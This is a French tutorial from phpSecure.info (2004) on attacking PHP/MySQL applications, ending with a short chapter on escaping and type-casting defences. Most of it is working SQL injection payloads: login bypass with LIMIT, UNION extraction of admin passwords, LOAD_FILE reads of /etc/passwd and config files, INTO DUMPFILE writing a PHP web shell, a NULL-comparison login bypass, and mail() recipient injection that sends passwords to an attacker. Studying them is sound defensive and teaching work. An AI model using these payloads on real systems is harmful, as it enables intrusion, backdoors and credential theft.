PHP et (My)SQL
Auteur/Traducteur : frog-man@swissinfo.org
Date de création : 23 février 2004
Dernière modification : 23 février 2004
Vu 55515 fois

References :

PHP et (My)SQL

0- Table de matières :

1- Introduction
2- LIMIT
3- SQL FILE COPY
4- UNION
5- NULL Auth
6- mail() + SQL
7- Sécurisation
8- Credits

1- Introduction :

Bonjour à tous.
Ce texte pourrait être la suite de mon texte "L'injection (My)SQL via PHP" achevé en juillet 2003... néanmoins je ne lui ai pas donné le même nom car ce dont je vais parler ici, bien que toujours en rapport avec le SQL, n'est pas seulement de l'injection SQL; il y a aussi quelques réactions dûes au couple PHP/MySQL (très (re)connu, et très utilisé).
Si certaines choses vous échapent au sujet de l'injection SQL dans les explications qui suivent, il est fortement possible que vous trouviez des réponses dans ce premier texte de juillet 2003.
Je vais traiter ici de cas moins généraux, plus prècis que dans ce précédent texte (d'où le fait qu'il y a plus de chapitres mais moins de texte :)), comme par exemple de les injections SQL avec UNION, dont je n'avais pas parlé auparavant (sauf pour dire que j'en reparlerai :)), ainsi que d'autres petites choses.
En vérité, ce deuxième texte sur le sql et PHP est né uniquement grâce au fait que je n'avais justement pas parlé d'UNION; il fallait combler ce manque. En me documentant pour être sûr de ne pas raconter de conneries :), j'ai eu quelques idées. Ce qui fait qu'en fait les deux premiers chapitres du texte qui suit ne sont là qu'en satellite à celui sur UNION, mais j'ai trouvé les points suffisament importants pour leur dédier un chapitre entier. Mais plus cours :p
Alors pour certains titres de la table de matières ne soyez pas étonnés de n'avoir jamais entendu ça, comme j'ai découvert ces problèmes par moi-même, je leur ait moi-même donné un nom :p en essayant qu'ils soient appropriés et en attendant de trouver mieux, ou de me rendre compte qu'ils en ont déjà un.
Je rappelle que pour tout ces exemples, je considère que magic_quotes_gpc est à OFF dans le php.ini.

2- LIMIT :

LIMIT est utilisée pour limiter le nombre d'enregistrements retournés par une requête SELECT. Ses arguments sont des entiers constants. Si un seul argument est donné, il fixera le nombre d'enegistrements maximum à retourner. Si deux arguments sont donnés, ils fixeront la limite de début et de fin du résultat.
On sait que si une requête SQL est de cette forme :

SELECT * FROM membres WHERE pseudo='$pseudo' AND pass='$password'

il suffira de donner à $pseudo la valeur ' OR 1=1/* pour que la requête exécutée soit :

SELECT * FROM membres WHERE pseudo='' OR 1=1/* AND pass=''

Cette requête aura donc comme résultats tout les champs de tout les enregistrements de la table membres.
Il arrive que d'autres comptes aient été créés avant l'admin. Imaginons une table de 5 enregistrements dont le premier enregistrement contiendra un membre simple, le deuxième un modérateur, et le troisième, enfin, l'admin.
Le résultat de la requête précédente sera alors :

idmem pseudo pass email level
1 test d5s14e test@test.com 0
2 mode 1p8b4g9 mode@website.com 1
3 admin -m*t4z4a webmaster@vuln.com 2
4 John 9a4r8t John@url.com 0
5 Bob 555k555 Bob@marley.com 0

On aura donc 5 enregistrements à traiter. Pourtant PHP devra faire un choix, qui sera, en fonction de la methode d'extraction de l'information voulue, le dernier ou (le plus souvent) le premier champ : Bob ou test (voir le chapitre concernant UNION). Or il serait plus interessant bien sûr pour un hacker de se logger en tant qu'admin.
Il lui faut donc trouver un moyen de tester chaque compte. Evidemment ici on considère qu'on ne connait pas la structure de la table membres, sinon on aurait directement injecté
' OR level=2/* comme valeur de $pseudo par exemple. Ou bien on aurait testé en incrémentant à chaque fois le champ idmem.
Non, il faut faire sans les noms des champs. Et c'est ici qu'intervient LIMIT. Comme le dit son nom, il va permettre de fixer une limite au résultat.
Par exemple si on avait donné à $pseudo la valeur
' OR 1=1 LIMIT 0,2/* , le résultat de la requête serait :

idmem pseudo pass email level
1 test d5s14e test@test.com 0
2 mode 1p8b4g9 mode@website.com 1
3 admin -m*t4z4a webmaster@vuln.com 2

On peux grâce à cet élément vérifier chaque enregistrement donné en résultat un à un, avec LIMIT 0,1 puis LIMIT 1,2, pour arriver finalement à ' OR 1=1 LIMIT 2,3/* ce qui donne comme requête :

SELECT * FROM membres WHERE pseudo='' OR 1=1 LIMIT 2,3/* AND pass=''

et comme résultat :

idmem pseudo pass email level
3 admin -m*t4z4a webmaster@vuln.com 2

L'attaquant sera alors loggé en tant qu'admin sans connaître la structure de la table membres.

3- SQL FILE COPY :

Dans "L'injection (My)SQL via PHP", on a vu comment utiliser INTO OUTFILE et INTO DUMPFILE dans une requête SELECT. Par exemple, la requête :

SELECT * FROM table INTO OUTFILE '/complete/path/file1.txt'

enregistrera tout les éléments de la table "table" dans le fichier /complete/path/file1.txt du serveur (ici le WHERE 1=1 n'est pas nécessaire).
Une particularité de INTO OUTFILE est qu'il FAUT un FROM avec une table existante mais si logiquement on en aurait pas besoin, sinon il ne fonctionne pas.
Mais cela ne nous empêche pas de faire des choses interessantes, il faut juste connaître une table. Par exemple, pour créer une backdoor PHP avec une requête SQL, il ne sera pas possible de faire ça :

SELECT '<? system($cmd); ?>' INTO DUMPFILE '/path/to/website/backdoor.php'

par contre la requête :

SELECT '<? system($cmd); ?>' FROM existant_table INTO DUMPFILE '/path/to/website/backdoor.php'

fonctionnera parfaitement, créant un fichier PHP à la racine du site.

On a aussi vu comment utiliser la fonction LOAD_FILE() dans les requêtes UPDATE. Mais, tout comme INTO OUTFILE d'ailleurs, cette fonction peux sans problèmes s'utiliser dans d'autres sortes de requêtes. Par exemple avec SELECT, la requête :

SELECT LOAD_FILE('/complete/path/file2.txt')

va renvoyer comme résultat le contenu du fichier /complete/path/file2.txt.
De là il n'y a plus qu'un pas à faire pour réaliser une copie de fichiers avec une requête SQL.
Imaginons que l'on veuille copier grâce à une requête SQL le fichier http://[url]/config.php dans le fichier http://[url]/config.txt, la racine du site étant /complete/path/.
Il suffira alors d'exécuter la requête :

SELECT LOAD_FILE('/complete/path/config.php') FROM existant_table INTO OUTFILE '/complete/path/config.txt'

Pour cette opération, bien sûr, le serveur doit avoir le droit en lecture/ecriture, plus toutes les conditions propres à INTO OUTFILE et à la fonction LOAD_FILE().

Post Mortem (heu... Scriptum) : Au sujet de LOAD_FILE()... il pourrait aussi être interessant d'utiliser cette fonction dans des requêtes INSERT. Par exemple avec la requête :

INSERT INTO membres (login,pass,email,description) VALUES ('$login','$pass','$email','$descr')

et qu'on donne par exemple à $email la valeur em@i.l',LOAD_FILE('/etc/passwd'))#,alors la requête SQL deviendra :

INSERT INTO membres (login,pass,email,description) VALUES ('mylogin','mypass','em@i.l',LOAD_FILE('/etc/passwd'))#','')

et la description du nouvel utilisateur sera le fichier /etc/passwd !

4- UNION :

Voici donc le chapitre principale de ce texte.
UNION permet de combiner le résultat de plusieurs requêtes de type SELECT en un seul résultat.



Pour les explications et exemples, imaginons 2 tables. La première, la table 'membres' contient l'enregistrement :

mid mlogin mpass memail mnewsletter
5 Franck j0seph1ne franck.boune@ext!asia.com 0

Le champ mid est l'ID du membre, mlogin son login, mpass son mot de passe, memail son e-mail, et mnewsletter dit si il est abonné ou pas à la newsletter (0=pas abonné).
Un deuxième table, 'admin', contient l'enregistrement :

aid alogin apass alevel
1 webmaster e81a-12x9w 2

Le champ aid est l'ID de l'admin, alogin son login, apass sont mot de passe et alevel son niveau d'administration (1=modérateur, 2=administrateur).
Donc deux tables distinctes avec des champs de types et de noms ainsi que des structures différentes.

Maintenant voyons comment utiliser UNION. Tout d'abord il faut savoir que pour qu'UNION fonctionne, le nombre de champs résultants des requêtes liées doit être le même.
Ainsi cette requête générera une erreur :

SELECT mlogin FROM membres WHERE mid=5 UNION SELECT aid, alogin FROM admin WHERE aid=1

Car la première requête SELECT extrait 1 champ (mlogin) et la deuxième en extrait 2 (aid et alogin).
Par contre cette requête :

SELECT mlogin,mpass FROM membres WHERE mid=5 UNION SELECT alogin,apass FROM admin WHERE aid=1

donnera le résultat :

mlogin mpass
Franck j0seph1ne
webmaster e81a-12x9w

On remarque que les champs de la deuxième ligne du résultat sont considérés comme ayant les noms de la première requête, c'est-à-dire mlogin et mpass, alors que dans la table ce sont alogin et apass. On verra plus tard que ça peut avoir une consèquence.
Mais en vérité ces 2 derniers champs ne prennent pas que les noms des champs choisit dans la première requête, ils prennent aussi leur type.
Ce qui fixe donc une deuxième contrainte à prendre en compte. Ici on a pas eu de problèmes car tout les chmaps étaient de type "string".
Mais imaginons que la requête ait été :

SELECT mlogin,mid FROM membres WHERE mid=5 UNION SELECT alogin,apass FROM admin WHERE aid=1

bien que le nombre de champs et la syntaxe soient bons, le résultat ne sera pas celui escompté mais bien :

mlogin mid
Franck 5
webmaster 0

En effet dans le résultat de la deuxième requête, on aura bien le login de l'admin 1, mais pas sont mot de passe. mid étant un champ de type "integer", le deuxième champ (de type "string" : apass) sera convertit à ce type, donnant le résultat 0.

J'ai néanmoins élaboré une petite technique (:p) pour récupérer des infos de type "string" même si dans la première requête les champs sont de type "integer". Cette technique consiste en convertir le champ "string" en base 10 (en integer quoi) grâce à la fonction CONV().
Il faut d'abord pour cela choisir une base de début, j'opte pour 36, qui permettra de convertir tout les chiffres (0->9) et toutes les lettres (a->z). Elle aura comme défaut de ne pas accepter les caractères -, _,... qui peuvent se trouver dans un mot de passe. Si il y a un de ces caractères dans un champ, la fonction s'arrête de convertir et renvoit le résultat incomplet.
MySQL a du mal avec le base plus élevées, et renvoit NULL.
Donc comme le mot de pass admin contient dans cet exemple justement un caractère "-", on va extraire le mot de passe de Franck dans une deuxième requête liée par UNION pour que ça ne pose pas de problèmes, ce qui donne :

SELECT mid FROM membres WHERE mid=4 UNION SELECT CONV(mpass,36,10) FROM membres WHERE mid=5

Le résultat sera :

mid
4
53662927459226

53662927459226 étant le mot de passe convertit de la base 36 à la base 10 du membre Franck (ayant l'id 5).
Il suffira alors de faire la convertion inverse pour récupérer le mot de passe en clair, par exemple avec une simple requête SQL :

SELECT CONV(53662927459226,10,36) as resultat

Ce qui donnera le résultat :

resultat
j0seph1ne


Imaginons maintenant que l'on veuille une requête SQL UNION qui affiche tout les champs du membre "Franck" et de l'admin "webmaster".
Cette requête ne serait pas correct :

SELECT * FROM membres WHERE mlogin='Franck' UNION SELECT * FROM admin WHERE alogin='webmaster'

car le nombre de champs est différent. Il doit y en avoir 5 en résultat dans la deuxième requête (comme dans la première requête) alors que la table admin n'en contient que 4. On peut alors en rajouter un directement dans la requête de cette façon :

SELECT * FROM membres WHERE mlogin='Franck' UNION SELECT aid,alogin,apass,'blom@b!um.be',alevel FROM admin WHERE alogin='webmaster'

Le résultat serait alors :

mid mlogin mpass memail mnewsletter
5 Franck j0seph1ne franck.boune@ext!asia.com 0
1 webmaster e81a-12x9w blom@b!um.be 2

Evidemment si on avait fait le contraire, si on avait commencé par la table 'admin' de cette façon :

SELECT * FROM admin WHERE alogin='webmaster' UNION SELECT * FROM membres WHERE mlogin='Franck'

la requête aurait été tout aussi fausse. Une solution est d'utiliser la fonction CONCAT(), pour donner deux résultats en un.
Voyons la requête :

SELECT * FROM admin WHERE alogin='webmaster' UNION SELECT mid,CONCAT(mlogin,char(58),char(58),memail),mpass,mnewsletter FROM membres WHERE mlogin='Franck'

char(58) renvoyant le caractère ":", le résultat de cette requête sera :

aid alogin apass alevel
1 webmaster e81a-12x9w 2
5 Franck::franck.boune@ext!asia.com j0seph1ne 0


L'application de l'injection SQL ne devrait désormais plus poser de problèmes, ou du moins plus de problèmes si tout les résultats des 2 requêtes sont affichés (avec une boucle quoi...). Par exemple (en imaginant que chaque membre soit lié à un groupe bien précis) si on a le code :

$result = mysql_query("SELECT mlogin FROM membres WHERE idgroup=$groupid");

et qu'on donne à $groupid la valeur 1 UNION SELECT apass FROM admin WHERE 1=1, alors la requête deviendra :

SELECT mlogin FROM membres WHERE idgroup=1 UNION SELECT apass FROM admin WHERE 1=1

Cela ne posera aucun problème car tout les éléments seront affichés. On aura donc d'abord tout les logins de membres appartenant au groupe 1, puis tout les mots de passe administrateur.

Mais que se passe-t-il si le script n'affiche qu'un des enregistrements donnés en résultat ? Lequel affichera-t-il ?
Un enregistrement au hasard ? non :p
Il choisira le premier ou le dernier enregistrement selon la méthode utilisée dans PHP.
Pour l'exemple imaginons un simple script qui affiche le login de l'utilisateur en fonction de son ID membre :

<?
$link = mysql_connect("dbhost", "dblogin", "dbpass") or die("Impossible de se connecter : " . mysql_error());
mysql_select_db("dbname");
$result = mysql_query("SELECT mlogin FROM membres WHERE mid=$memid");
[RECUPERATION/AFFICHAGE];
mysql_close($link);
?>

Donc l'enregistrement dont un élément sera affiché (mlogin), dépendra du code ici marqué [RECUPERATION/AFFICHAGE];.
Imaginons que ce code de récupération et d'affichage soit :

list ($login) = mysql_fetch_row($result);
echo $login;

Cette méthode nous arrange, car elle affichera le dernier élément extrait. Donc si on entre comme valeur à $memid 5 UNION SELECT apass FROM admin WHERE aid=1, c'est le dernier mot de passe admin enregistré dans la DB qui sera affiché et pas le login du membre 1.

Il est en de même de cette autre méthode qui va aussi choisir le dernier résultat.
On voit que le champ à afficher est repéré par son nom, ce qui ne pose pas de problèmes, car comme on l'a vu les champs résultants de la deuxième requête SELECT sont considérées comme ayant les mêmes noms que ceux de la première requête SELECT :

$resultarray = mysql_fetch_array($result);
echo $resultarray["mlogin"];


Voyons maintenant une dernière méthode :

$resultarray = mysql_fetch_row($result);
echo $resultarray[0];

Ici c'est le premier enregistrement, celui d'indice 0, dans lequel le script ira chercher les infos à afficher. Il faut donc faire en sorte que le premier enregistrement soit celui qui nous interesse : celui de la seconde requête SELECT.
Pour cela on peut utiliser deux moyens. Le premier est d'utiliser LIMIT, comme on a vu dans le chapitre 1, c'est-à-dire de donner à $memid la valeur
5 UNION SELECT apass FROM admin WHERE aid=1 LIMIT 1,2.
Le deuxième moyen est de faire en sorte que la première requête ne renvois pas de résultat, en lui donnant une condition qui ne trouvera aucun enregistrement. Par exemple avec la valeur
-1 UNION SELECT apass FROM admin WHERE aid=1 (ou encore 5 OR 1=0 UNION SELECT apass FROM admin WHERE aid=1 ou etc etc...). La requête devient alors :

SELECT mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM admin WHERE aid=1

L'id membre -1 n'existant pas, le résultat final de cette requête sera :

mlogin
e81a-12x9w

et ça sera donc le mot de passe de l'admin 1 qui sera affiché.


Voilà pour ce qui est d'extraire des informations de la base de données avec UNION si les informations sont affichées ensuite par le script utilisé.
Mais UNION peut-il être utilisé efficacement même si les informations ne sont pas affichées ?
Pour cela j'ai juste légérement changé le script qui affichera le login du membre en fonction de son ID membre par un script qui dira simplement si le membre existe (toujours en fonction de son ID membre), sans afficher aucune information :

<?
$link = mysql_connect("dbhost", "dblogin", "dbpass") or die("Impossible de se connecter : " . mysql_error());
mysql_select_db("dbname");
$result = mysql_query("SELECT mlogin FROM membres WHERE mid=$memid");
if ($result != 0){
print("Le membre $memid existe.");
}else{
print("Le membre $memid n\'existe pas");
}
mysql_close($link);
?>

Il suffit de revenir au chapitre précédent pour trouver des utilisations de UNION dans ce script.
En effet, si on donne à $memid la valeur
-1 UNION SELECT apass FROM admin WHERE aid=1, on aura (voir quelques lignes plus haut) comme résultat le mot de passe de l'admin, mais ici il ne sera pas affiché (le script affichera juste "Le membre -1 UNION SELECT apass FROM admin WHERE aid=1 existe.").
Si maintenant on donne à $memid la valeur -1 UNION SELECT apass FROM admin WHERE aid=1 INTO OUTFILE '/path/apass.txt', la requête deviendra :

SELECT mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM admin WHERE aid=1 INTO OUTFILE '/path/apass.txt'

alors le résultat ne sera toujours pas affiché, mais il sera enregistré dans le fichier /path/apass.txt, où (si "path" est le chemin complet vers le site) il pourra être accessible à tous en lecture.

Toujours en se basant sur le chapitre précédent, on peut directement faire une copie de fichier (disons toujours config.php vers config.txt) avec une requête UNION, en donnant à $memid la valeur
-1 UNION SELECT LOAD_FILE('/path/config.php') FROM membres INTO OUTFILE '/path/config.txt'. Le résultat de LOAD_FILE() étant du même type string que le champ mlogin, on a pas de problèmes de ce côté. On peut par contre avoir des problèmes avec la taille du champ.

On peut evidemment se servir d'UNION pour créer un fichier PHP ou autre en donnant à $memid la valeur
-1 UNION SELECT '<? phpinfo(); ?>' FROM membres INTO OUTFILE '/path/badfile.php' .

Et enfin une dernière idée serait d'utiliser le LIKE pour récupérer des infos malgrés qu'elles ne soient pas affichées (voir "L'injection (My)SQL via PHP", chapitre "SELECT").



5- NULL Auth :

Le fait de vérifier qu'un utilisateur a bien rentré toutes les données avant d'utiliser les variables concernées ne sert pas qu'à améliorer la qualité du script ou la compréhension de l'utilisateur. Il permet aussi d'empêcher une éventuelle faille de sécurité selon le contexte.
En effet imaginons un script de login qui ne vérifie que la variable qui va être utilisée dans la requête SQL, la variable $login :

<?php
$link = mysql_connect("dbhost", "dblogin", "dbpass") or die("Impossible de se connecter : " . mysql_error());
mysql_select_db("dbname");
if (!isset($login)){
echo "Veuillez entrer votre login.";
}else{
$result = mysql_query("SELECT password FROM membres WHERE login='$login'");
list ($pass) = mysql_fetch_row($result);
if ($pass == $password){
echo "Identification réussie.";
}else{
echo "Login ou mot de passe incorrect.";
}
}
mysql_close($link);
?>

On peut donc ici se permettre d'exécuter le script sans avoir donné à $password aucune valeur. Rappelons que $password ne contiendra pas alors exactement rien mais bien la valeur NULL.
Voyons maintenant ce qui se passe si en plus on donne à $login une valeur qui n'existe pas dans la base de données, un login inexistant. Disons "nonexistant". La requête SQL exécutée sera alors :

SELECT password FROM membres WHERE login='nonexistant'

La fonction list() ne donnera alors aucune valeur à la variable $pass... ou plus exactement elle lui donnera la valeur NULL.
Viens ensuite la comparaison entre $pass et $password. Ces deux variables contiennent chacune la valeur NULL, la comparaison renvoit donc vrai... et on est considéré comme loggé sans connaître ni le mot de passe ni le login utilisateur.
La vérification de chaque variable est donc dans ce cas cruciale.

6- mail() + SQL :

Dans ce chapitreje vais expliquer un phénomène qui m'a frappé dans une ou deux applications distribuées sur le net.
J'ai déjà vu des textes sur le net parlant d'injection SQL dans un formulaire d'envoi d'email (en cas de perte).
Ces méthodes expliquaient comment faire de l'injection SQL malgré une vérification du format de l'email grâce à des expressions regulières.
En gros il fallait d'une manière ou d'une autre intercaler une adresse e-mail d'un format correct dans l'injection.
Par exemple avec le code :

$result = mysql_query("SELECT passwd FROM membres WHERE email='$email'");

on pouvait donner à $email la valeur : ' OR 1=1 /*correct@email.com*/ INTO OUTFILE '/path/to/site/pwd.txt , ce qui donnait la requête :

SELECT passwd FROM membres WHERE email='' OR 1=1 /*correct@email.com*/ INTO OUTFILE '/path/to/site/pwd.txt

Ces méthodes n'utilisaient donc que la partie MySQL du script.
Mais où le script va-t-il chercher l'e-mail où il doit envoyer le mot de passe ?
Il a deux choix, soit dans la base de données, soit dans la variable entrée par l'utilisateur de récupération.
C'est cette deuxième possibilité qui peut poser problème si il n'y a pas suffisament de vérifications.
Imaginons le script de récupération :

<?php
$link = mysql_connect("dbhost", "dblogin", "dbpass") or die("Impossible de se connecter : " . mysql_error());
mysql_select_db("dbname");
$email=$_POST["email"];
$result = mysql_query("SELECT passwd FROM membres WHERE email='$email'");
if (mysql_num_rows($result)>0){
$resultarray=mysql_fetch_row($result);
$message="Hello,\nYour password : ".$resultarray[0].".\nBye !\n"
if (mail($email,"Your Password",$message,"From: webmaster@bugged!com")){
echo "Your password has been sent.";
}
}
mysql_close($link);
?>

Bon evidemment ici le script est très primaire mais c'est pour l'exemple.
Il serait possible via ce script de se faire envoyer dans son e-mail le mot de passe de n'importe quel utilisateur.
En effet voyons ce qui se passe si on donne à $_POST["email"] la valeur
' OR login='Bob' OR 1=',hacker@emai!.com .
D'abord au niveau SQL, la requête exécutée deviendra :

SELECT passwd FROM MEMBRES WHERE email='' OR login='Bob' OR 1=',hacker@emai!.com'

La condition email='' renverra FAUX car on imagine que l'e-mail est obligatoire, et la condition 1=',hacker@emai!.com' renverra FAUX aussi car 1 n'est pas égal à ",hacker@emai!.com".
Par contre la condition
login='Bob' renverra VRAI, et c'est son mot de passe qui sera renvoyé.
Maintenant voyons à qui il sera envoyé : voyons ce qui se passe au niveau de la fonction mail(). Si le mot de passe est "9xa4f7p6", la fonciton exécutée sera :

mail("' OR login='Bob' OR 1=',hacker@emai!.com", "Your Password", "Hello,\nYour password : 9xa4f7p6\nBye !\n","From: webmaster@bugged!com")

et au niveau des headers mail, on aura :

To: ' OR login='Bob' OR 1=', hacker@emai!.com
Subject : Your Password
From : webmaster@bugged!com
Content-Type: plain/text

Hello,
Your password : 9wa4f7p6
Bye !

L'header To: peut recevoir plusieurs e-mails en arguments, et c'est à ces e-mails que le message sera renvoyé; il suffit de séparer ces destinataires par des virgules.
Il y a donc ici deux destinataires. Le premier est
' OR login='Bob' OR 1=' et le deuxième est hacker@emai!.com.
Le premier envois doit donc poser problème, est renverra peut-être un message d'erreur à l'expéditeur (webmaster@bugged!com), mais le deuxième sera bien renvoyé à hacker@emai!.com avec le mot de passe de Bob.
Il y a bien sûr toute une ribambelle de possibilités comme par exemple
' OR login='Bob'#,hacker@emai!.com, ou encore hacker@emai!.com,' OR login='Bob,...


7- Sécurisation :

Chaque variable entrante (et modifiable par l'utilisateur) doit être traitée séparément selon le type qui est attendu.
Si c'est une variable de type string (un fichier non binaire, un caractère, une chaîne de caractères,...) le problème peut être réglé par la configuration ou dans le code PHP. Les caractères à filtrer sont
" ou ' (le guillemet et l'apostrophe) selon celui utilisé durant l'écriture de la requête.

Il y a donc deux manières de faire. Soit supprimer ces caractères (ou les remplacer par autre chose) avec par exemple la ligne :

$var = preg_replace("([\'\"])","?",$var);

qui remplacera les caractères " et ' par le caractère ?.
Soit faire en sorte qu'ils soient considérés comme faisant partie d'une chaîne de caractères, et pas un séparateur de la syntaxe SQL pour les chaînes de caractères.
Par exemple ici :

SELECT * FROM tutos WHERE title="Le \"tuple\"" AND contenu LIKE '%l\'elephant%'

Ici on voit clairement certains caractères " et ' considérés d'abord comme faisant partie de la syntaxe de la requête, et d'autres faisant partie de chaînes de caractères. A ces derniers, pour être reconnus comme tels, on a rajouté avant le caractère \.
Il est possible de le faire automatiquement dans le fichier php.ini, en mettant magic_quotes_gpc à ON, mais il me semble préférable d'agir directement dans le code, pour bien être sûr de ce qui peut ou pas être entré comme valeur.
Voyons donc par le code PHP grâce à la fonction addslashes()... si on a la ligne :

$result = mysql_query("SELECT passwd FROM membres WHERE email='$email'");

et si le hacker veut récupérer le mot de passe de Bob dans un fichier "result.txt", il lui suffira d'entrer comme valeur à $email : ' OR login="Bob" INTO OUTFILE '/result.txt .

Si maintenant j'utilise la fonction addslashes() en remplacant la ligne de code précédente par ces deux lignes :

if (!get_magic_quotes_gpc()) { $email = addslashes($email); }
$result = mysql_query("SELECT passwd FROM membres WHERE email='$email'");

alors la requête SQL sera :

SELECT password FROM membres WHERE email='\' OR login=\"Bob\" INTO OUTFILE \'/result.txt'

ce qui aura comme effet de rechercher une adresse email qui n'existe sûrement pas dans la table membres : la valeur de la variable $email.
J'ai tenu compte de la fonction get_magic_quotes_gpc() pour ne pas mettre plus de backslashs qu'il n'en faut si magic_quotes_gpc est déjà à ON.
N'oubliez pas de tenir compte également des eventuels stripslashes() se trouvant dans le code.
Voyons maintenant ce qu'il en est si la variable entrée doit être de type entier.
On sait maintenant que cette requête :

$result = mysql_query("SELECT mlogin FROM membres WHERE mid=$memid");

pourrait servir par exemple à une requête UNION sans nécessairement utiliser de caractère " ou ', donc la solution des variables de type string n'est pas suffisante.

Comme pour les variables string, il y a tout une ribambelle de solutions.
Avec la fonction intval(), qui convertit la variable en type integer, il faut rajouter cette ligne :

$memid = intval($memid);
$result = mysql_query("SELECT mlogin FROM membres WHERE mid=$memid");

On peut utiliser le casting pour forcer le type de la variable, en ajoutant plutôt cette ligne :

$memid = (int)$memid;

ce qui peut être utilisé pour d'autres types de variables ( (bool) ou (boolean), (int) ou (integer), (real), (double), (float), (string), (array), (object) ).
On peut également vérifier le type avec la fonction is_numeric, en ajoutant plutôt la ligne :

$memid = !is_numeric($memid) ? 0 : $memid;

J'utilise ici is_numeric(), mais il y a une fonction pour chaque type : is_float(), is_integer(), is_string(), is_array(),...

Pour convertir, on aurait pu enfin utiliser la fonction settype() avec la ligne :

settype($memid,"int");

Les differents type possibles sont ici : boolean, int, float, string, array, object et null.
Pour chacun des exemples vu pour la convertion, si la variable est de type chaînes de caractères, $memid vaudra 0.

Enfin, une solution qui est loin d'être la meilleure mais qui existe quand même :) est de considérer dans la syntaxe de la requête la variable comme étant de type string, c'est-à-dire en l'entourant de ' ou de ", puis en la filtrant comme une chaîne de caractères :

$result = mysql_query("SELECT mlogin FROM membres WHERE mid='$memid'");



8- Credits :
N'hésitez pas à me contacter pour toute question en rapport avec ce texte, ajouts, remarques, erreurs, ...
Texte rédigé par Germain Randaxhe aka frog-m@n (
frog-man@swissinfo ) de phpSecure.info.
Achevé le 23 février 2004.


frog-m@n




(copyleft) 2001 webmaster@phpsecure.info 19-mar-2001 16:33:02 GMT &Ext